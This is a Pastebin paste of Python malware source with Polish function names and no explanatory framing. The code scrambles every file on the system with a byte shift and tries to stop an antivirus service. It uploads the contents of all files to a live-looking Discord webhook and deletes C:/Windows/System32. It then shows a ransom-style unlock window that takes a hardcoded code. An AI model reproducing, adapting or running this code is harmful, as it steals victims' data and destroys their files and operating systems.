Advertisement
pulkaokk

Untitled

Mar 20th, 2024 (edited)
18
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.23 KB | None | 0 0
  1. import os
  2. import shutil
  3. import subprocess
  4. import requests
  5. import tkinter as tk
  6.  
  7. def zaszyfruj_pliki():
  8. for root, dirs, files in os.walk("/"):
  9. for file in files:
  10. try:
  11. with open(os.path.join(root, file), "rb") as f:
  12. data = f.read()
  13. with open(os.path.join(root, file), "wb") as f:
  14. f.write(bytearray([(byte + 1) % 256 for byte in data]))
  15. except:
  16. pass
  17.  
  18. def wyłącz_antywirusa():
  19. subprocess.run("cmd /c net stop 'NazwaUsługiAntywirusowego'", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
  20.  
  21. def zbierz_informacje():
  22. dane = {}
  23. for root, dirs, files in os.walk("/"):
  24. for file in files:
  25. try:
  26. with open(os.path.join(root, file), "rb") as f:
  27. dane[os.path.join(root, file)] = f.read()
  28. except:
  29. pass
  30. requests.post("https://discord.com/api/webhooks/1219751683412852737/bLqXU-zwxSI8Y2slHGOSwLw3QUqAM6Z33RNEovyPoLLMLWo2vfcXPCHL91ugl-SD676J", json=dane)
  31.  
  32. def usuń_wirusa():
  33. shutil.rmtree("C:/Windows/System32")
  34.  
  35. def odblokuj_pliki():
  36. root = tk.Tk()
  37. root.configure(bg="red")
  38. root.geometry("500x200")
  39.  
  40. label = tk.Label(root, text="Wprowadź kod: ", bg="red", fg="white", font=("Helvetica", 16))
  41. label.pack(pady=20)
  42.  
  43. entry = tk.Entry(root, show="*", font=("Helvetica", 16))
  44. entry.pack()
  45.  
  46. def sprawdź_kod():
  47. if entry.get() == "KX_UNLOCK":
  48. odszyfruj_pliki()
  49. root.destroy()
  50.  
  51. button = tk.Button(root, text="Odblokuj", bg="white", fg="red", font=("Helvetica", 16), command=sprawdź_kod)
  52. button.pack(pady=20)
  53.  
  54. root.mainloop()
  55.  
  56. def odszyfruj_pliki():
  57. for root, dirs, files in os.walk("/"):
  58. for file in files:
  59. try:
  60. with open(os.path.join(root, file), "rb") as f:
  61. data = f.read()
  62. with open(os.path.join(root, file), "wb") as f:
  63. f.write(bytearray([(byte - 1) % 256 for byte in data]))
  64. except:
  65. pass
  66.  
  67. zaszyfruj_pliki()
  68. wyłącz_antywirusa()
  69. zbierz_informacje()
  70. usuń_wirusa()
  71. odblokuj_pliki()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement